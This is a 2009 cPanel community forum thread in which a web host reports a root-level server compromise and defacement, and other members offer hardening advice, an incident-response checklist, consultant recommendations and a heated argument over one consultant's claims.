The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Server compromised, concerns...

Discussion in 'Security' started by 4u123, Nov 27, 2009.

Thread Status:
Not open for further replies.
  1. 4u123

    4u123 Well-Known Member
    PartnerNOC

    Joined:
    Jan 2, 2006
    Messages:
    765
    Likes Received:
    1
    Trophy Points:
    18
    Had a server compromised earlier today. I'm just in the process of copying the cpanel accounts to a different server as we speak.

    What concerns me is that all our servers are configured identically, always kept up to date and looked after properly. I've been running my hosting business for 7 years now and this is the first time we've ever had a root exploit.

    An account with a dodgy Joomla module was compromised - a backdoor script copied to /tmp. This was picked up straight away, deleted and the account suspended. Scripts in /tmp cant be executed so they couldnt have run it. So I thought I'd resolved it. Nope. Later on we started getting support tickets from customers - their index pages were being changed - the hacker leaving his little message on any index.* page on the whole server. This can only have been done via a root exploit of some kind.

    rkhunter found parts of two rootkits as a result of this incident - but everything else was fine. I have no idea how this happened and I'm worried for our other servers because, as I said, they are all the same.

    I admit - I've been a bit slack lately in keping the kernels up to date and have now updated all servers - but if this exploit is something else I'm probably screwed.

    Can anyone recommend a good server security service that doesnt cost too much? I'd like to have all our servers checked by an expert.
     
    #1 4u123, Nov 27, 2009
    Last edited: Nov 27, 2009
  2. serversignature

    serversignature Well-Known Member

    Joined:
    Nov 26, 2007
    Messages:
    107
    Likes Received:
    0
    Trophy Points:
    16
    Location:
    Bangalore
    Are you using suPHP Apache module (mod_suphp) on your servers ?

    You can ask for help in the Server Management and Server Repair Forum

    Thanks,
     
  3. d_t

    d_t Well-Known Member

    Joined:
    Sep 20, 2003
    Messages:
    243
    Likes Received:
    1
    Trophy Points:
    18
    Location:
    Bucharest
  4. 4u123

    4u123 Well-Known Member
    PartnerNOC

    Joined:
    Jan 2, 2006
    Messages:
    765
    Likes Received:
    1
    Trophy Points:
    18
    Hi guys, yes I'm using suphp on all our servers. I identified the compromised account very quickly and suspended it as mentioned above. The hacker somehow managed to change all index pages in any directory on the server by using some kind of root exploit. Thats what I'm worried about - not the fact that a customers account was used. Normally, if a customers PHP script is hacked, the hacker can only change files that the account's userid is allowed to change - so its not a major issue. But today they managed to access any part of the server they wanted. Any scripts that are copied into /tmp cant be executed so I have no idea how they managed to install a rootkit.

    I did actually speak to configserver but they didnt seem to understand my request. The person I spoke to thought I was asking them to identify which customers script was compromised and like you, asked if I was using suphp but I was asking them to take a look at the server and find out how the hacker managed to get higher access. Unfortunately I think I spoke to a junior member of staff who didnt understand my situation. I was told that they didnt provide that kind of service.
     
  5. Infopro

    Infopro cPanel Sr. Product Evangelist
    Staff Member

    Joined:
    May 20, 2003
    Messages:
    14,482
    Likes Received:
    203
    Trophy Points:
    63
    Location:
    Pennsylvania
    cPanel Access Level:
    Root Administrator
    Twitter:
  6. 4u123

    4u123 Well-Known Member
    PartnerNOC

    Joined:
    Jan 2, 2006
    Messages:
    765
    Likes Received:
    1
    Trophy Points:
    18
    Yes, thats why I contacted them but it seems the service they provide is to copy the accounts onto another disk - which I can do myself. I've already restored all the accounts and moved them to a new server.

    What I was asking them to do is to look at the compromised server and try and tell me (with their expert server security knowledge) how they were able to gain root level access. But I was told that is not a service they provide. So I'm looking for a security expert to examine the server and tell me where the vulnerability is.
     
    #6 4u123, Nov 27, 2009
    Last edited: Nov 27, 2009
  7. serversignature

    serversignature Well-Known Member

    Joined:
    Nov 26, 2007
    Messages:
    107
    Likes Received:
    0
    Trophy Points:
    16
    Location:
    Bangalore
    try to get this info, run this commands as root

    /usr/local/cpanel/cpanel -V
    cat /etc/redhat-release
    uname -r

    Mod_security -- Do you have it installed ?
    mod_security works for apache only, does not work for whm.
     
  8. 4u123

    4u123 Well-Known Member
    PartnerNOC

    Joined:
    Jan 2, 2006
    Messages:
    765
    Likes Received:
    1
    Trophy Points:
    18
    cpanel version is 11.24.5-RELEASE_38506

    OS is centos 4.8

    Yes mod_security was installed although the rules were a couple of months old.

    Kernel was 2.6.9-78.0.22 which was about 4 months out of date but doesnt contain any known security issues.
     
    #8 4u123, Nov 27, 2009
    Last edited: Nov 28, 2009
  9. ramprage

    ramprage Well-Known Member

    Joined:
    Jul 21, 2002
    Messages:
    667
    Likes Received:
    0
    Trophy Points:
    16
    Location:
    Canada
    In the underground there are many zero day exploits and unpublished exploits. Finding exactly how they gained access can be extremely difficult since most hackers erase all their tracks or try to.

    It sounds like they used a script vulnerability to gain shell access then tried hitting your server with rookits and 0 day exploits. My suggestion is to keep your system updated and use layers of security.

    Firewall
    suphp
    mod_security
    upload guardian
    clamav

    Also having directories like /tmp locked and restricted access to binaries like wget can help a ton.

    Steve
     
  10. sparek-3

    sparek-3 Well-Known Member

    Joined:
    Aug 10, 2002
    Messages:
    1,384
    Likes Received:
    23
    Trophy Points:
    38
    cPanel Access Level:
    Root Administrator
    The 2.6.9-78.0.22 kernel was released back in May. I know in August there was a pretty nasty kernel vulnerability that was discovered. I'm not sure if there are any exploits for this vulnerability floating around, but chances are it was a kernel vulnerability or some other vulnerability on the server that allowed the user to gain root on the server.

    I would recommend having the server reimaged and restore the accounts from backups.
     
  11. Spiral

    Spiral BANNED

    Joined:
    Jun 24, 2005
    Messages:
    2,023
    Likes Received:
    7
    Trophy Points:
    0
    The security measures you find in all the tutorials, security threads, books, and articles are certainly a good start in the right direction but in reality don't even cover a small fraction of what all you really need to do with securing your servers.

    In fact, the vast majority of "experts" out there are totally and completely unaware of the real potential threats against your server which unfortunately continue to evolve and expand everyday as more exploits are discovered and more creative ways are devised to attack the servers. It's not really surprising that you got a hacking situation. The real question is what you are going to do about it and are you going to take action to prevent the same thing from reoccurring again?

    Done! Contact me and I WILL help you more than you could possibly imagine!

    There is several new exploits in the wild the past week that has kept me psychotically busy the past few days with clients all over the world as I'm right at the top of the call list for most data centers and many hosts particularly where it comes to security but I'll squeeze you into my schedule if you would like me to take a look.

    Regarding your side mention of the I-Frame/Index hacks, I can give you the ability to detect those and take action on those kind of attacks instantly even while the hacker is still connected; Plus, got a lot of other security related technologies that could be of great benefit for you.

    Oh and to the following comment ....

    I am not sure exactly if you are talking about your data center or some security service you contacted but what you just described is precisely my specific area of expertise and is exactly what I'm most known for!

    Anyway, like I said -- got you covered. You just need to contact me.

    Private Message is fine though my schedule doesn't always allow me to watch forums closely.
     
    #11 Spiral, Nov 28, 2009
    Last edited: Dec 2, 2009
  12. SigmaWeb

    SigmaWeb Active Member
    PartnerNOC

    Joined:
    Sep 26, 2006
    Messages:
    28
    Likes Received:
    2
    Trophy Points:
    3
    Location:
    Athens - Greece
    cPanel Access Level:
    Root Administrator
  13. BianchiDude

    BianchiDude Well-Known Member
    PartnerNOC

    Joined:
    Jul 2, 2005
    Messages:
    619
    Likes Received:
    0
    Trophy Points:
    16
    That is one way to look at it, however a more appropriate way would be to follow these steps:
    #1. Do not install, reinstall or delete anything from that drive

    #2. List the current open files, lsof, current processes, ps aux, current open ports netstat -anpe

    #3. Pull the power cord out from the box (if possible or have the data center do it)

    #4. Notify all your users that there has been a compromise, notify your provider if necessary.

    #5. Make a forensic image of the drive (or have the data center do it) using the unix dd command, set the original drive in a safe place and ensure you maintain a chain of custody on it.

    #6. Go through the logs you have from Chkrootkit / Rootkit Hunter / Aide / Samhain / Snort / Integrit / Osiris or tripwire, if the logs are on the drive itself look at them on the image your made.

    #7. Review the image of the compromised drive, was the OS/kernel current? Were all the packages up to date? What was in the world writeable directories like /tmp, /var/tmp, /dev/shm, what services were running on the drive, what was the version of php, perl, etc.

    #8. Look at the logs files and logrotated files such as wtmp, secure, messages, firewall logs setuid files, user shell histories, yum logs.

    #9. Document any hints, hunches, or gut feeling you have on the the box was hacked.

    #10. Only after your investigation and developing a plan to keep the box more secure should you install the OS on the new drive (the compromised drive should still be in a safe place) and only the user home data should be restore, and chowned to the user’s username, prior to the server being live on the internet again.

    #11. Contact other parties, such as law enforcement if appropriate.
     
  14. BianchiDude

    BianchiDude Well-Known Member
    PartnerNOC

    Joined:
    Jul 2, 2005
    Messages:
    619
    Likes Received:
    0
    Trophy Points:
    16
    I would help you but I am fully booked right now and currently not taking any new clients.
     
  15. jpetersen

    jpetersen Well-Known Member

    Joined:
    Dec 31, 2006
    Messages:
    113
    Likes Received:
    4
    Trophy Points:
    18
    Check out ScottMC from admingeekz.com or StevenC from rack911.com. Avoid Spiral ("top of the call list for most datacenters" = pure bs). I've chatted with Scott and Steven over the years which is why I'd recommend them. They've dealt with these situations and have the requisite experience.

    Understand, however, that it's not always possible to determine how a box gets popped, so don't expect a completely detailed explanation. Not keeping your kernel updated? Expect to find yourself in this situation again and again.

    Incorrect. You're using suphp anyway, so if someone is able to gain access through a vulnerable web app, they don't even need to use /tmp, as they can just write to the user's ~.

    Good luck. If you figure out how the box was owned, feel free to update this thread.
     
    #15 jpetersen, Nov 29, 2009
    Last edited: Nov 30, 2009
  16. 4u123

    4u123 Well-Known Member
    PartnerNOC

    Joined:
    Jan 2, 2006
    Messages:
    765
    Likes Received:
    1
    Trophy Points:
    18
    Thanks for all the advice folks.

    Over the last 7 years, I've kept myself up to date on the most common, appropriate and effective ways to keep our servers secure. I've implemented pretty much all the advice given in this forum which is why I was shocked to see this happen. As I said, its the first time that we've had a whole server compromised. I was caught napping and its been a reminder to continue to pay close attention to keeping everything as tight as possible.
     
    #16 4u123, Nov 30, 2009
    Last edited: Dec 1, 2009
  17. C4talyst

    C4talyst Well-Known Member

    Joined:
    Jun 21, 2008
    Messages:
    56
    Likes Received:
    0
    Trophy Points:
    6
    Just...wow.
     
  18. rejected

    rejected Well-Known Member

    Joined:
    Sep 19, 2006
    Messages:
    48
    Likes Received:
    0
    Trophy Points:
    0
    Without even spending more then 30 seconds looking at Spirals setup I can tell you now I wouldn't even bother he cant even secure his own DNS server.
     
  19. neutro

    neutro Well-Known Member

    Joined:
    Apr 11, 2004
    Messages:
    70
    Likes Received:
    0
    Trophy Points:
    6
    I thought i was the only one got hacked like this. Same kernel 2.6.9-78.0.22.ELsmp and centos 4.8. suPHP.
    It was the last server to be migrated to the latest Centos 5, we had around 100 mini accounts in that server.

    I found out the root password got changed through shell history.
    We got locked out but managed to log in using key and changed back the password.
    from history they wget Perl script (as root) and defaced index files in all directories.
    We secured the server with tmp noexec, not offering shell, mod_security, disabled functions in php.ini etc. Chkrootkit said nothing being modified.

    For more info check out this link http://www.webhostingtalk.com/showthread.php?t=590726
     
    #19 neutro, Dec 1, 2009
    Last edited: Dec 1, 2009
  20. Spiral

    Spiral BANNED

    Joined:
    Jun 24, 2005
    Messages:
    2,023
    Likes Received:
    7
    Trophy Points:
    0
    You seem to be a little bit confused!

    1. My DNS is quite secure! (you have absolutely no idea! :rolleyes: )

    2. What the hell are you looking at anyway?

    I find it kind of interesting that you say your "looking at Spirals setup" when you don't even know my address!

    If you are so sure of yourself, let's see you hack my DNS?

    This ought to be quite amusing! :D

    (Oh and for the record, I'm not using BIND or any Cpanel option either
    and that is the biggest up front hint I'll give you)

    What exactly is your problem anyway?

    Note I didn't say "ALL" data centers, I said "MOST" major data centers!

    Just for your FYI --- that is most certainly NOT b/s! ---

    I have more than 33+ years active security experience in the field and am very good at what I do far more than you could possibly imagine
    and I would caution you to the wise not to under estimate anything!

    And to jpetersen, for your information I have many private individual, corporate, web hosting, and data center clients (actively on retainer for 18 data centers + 26 others on a "as needed" basis) many who have been with me for a great many years, and also a number of government clients as well from all parts of the world and all my clients consistently through the years and even decades speaking nothing but praise about me continually and quite often (sometimes even to my own dismay)
    always want me specifically and demand that there be "no one else" but me and "me alone no matter the price" and that should probably say something in and of itself!

    In fact, if you go though all the posts here over the years and elsewhere, exactly how many do you see talking negatively aside from yourself (and this thread) over all the years I've been here! You don't!

    And that is precisely my very point indeed!

    Jpetersen, you don't even know who I am, don't know anything about me whatsoever and yet you alone continue to blindly make false statements you know absolutely nothing about!

    It is one thing to say there are other consulting options out there and that is perfectly fine and I even make alternative recommendations myself sometimes but it's another to flat out call me a liar when you have absolutely no basis whatsoever and don't know your facts!

    Is it jealousy? Rub you wrong in a former life?

    Enjoy making wrong assumptions?

    Are you assuming that I'm overly inflating myself?

    I'm not! And you will find I very much tell things like they are openly!

    In more than 3 decades, I've only had one unhappy client and I will tell you right now that was a guy earlier this year in Canada who kept sabotaging his own servers to the point he actually prevented me from being able to get any real work done and then turned around and blamed me for his own screw ups! Every time I tried to work on something, he'd go and stop the processes or change something to break everything and force me to keep doing the same things over and over again. He cost me thousands of dollars in lost jobs because I had to keep postponing other clients because he'd keep sabotaging me over and over again. Basically just a bad client .... it happens now and then
    no matter how well you do your job.

    My real point is that outside of that one blemish, I have had nothing but continuous non-stop praise from the thousands upon thousands of clients I have served over the many, many long years and decades I have spent working in this specialty field!

    In 33+ years and more clients than I can count, those who I would were in any way unhappy could be numbered on my fingers!

    That is a true testament! I openly challenge anyone to match that!

    So again I ask, what exactly is your problem?

    Oh wait --- that's it --- let me guess, you are Mr. Canada!

    That's it? Isn't it! Isn't it?

    Uh huh .... that would be the rub! If that is you, get a life! :rolleyes:

    By the way, here is something you also may not realize ...

    In 2006, I became very ill and was later diagnosed with terminal stage IV cancer and not given more than a few weeks to live but I beat my chances though due to a complication of the treatment, I ultimately ended up in a coma on life support with severe lung damage unable to breath on my own. Against all odds, I eventually recovered fully and after going offline and away from the world for very nearly 2 years, I was finally well and healthy enough to return to work and what was most amazing is that not that I had survived or that the cancer was cured.

    The most amazing thing is what happened upon my return ...

    Upon my reappearance in the technology world, I was shocked and surprised to find hundreds of requests, email messages, and phone calls from all corners of the world, most all of my old former clients begging me to to come back and telling me that they would switch back to having me handle all their issues in a heartbeat if I were really truly returning like they heard --- after nearly 2 years totally gone without a trace, that kind of a response should speak much for itself!

    And to 4u123, when I offered to help you, I sincerely meant that!

    My post was not a sales pitch and I don't want your money!

    There are absolutely no strings attached!

    I am very selective about who I offer to help in that manner but every once in a while, someone will post something that that gets my attention enough that it is clear that the poster needs real help or the problem is one that the poster really need to be careful not to make any mistakes.

    Your post was such a post and I just want to help make sure your situation is handled properly and effectively to the best possible!
     
    #20 Spiral, Dec 2, 2009
    Last edited: Dec 2, 2009
Loading...
Thread Status:
Not open for further replies.

Share This Page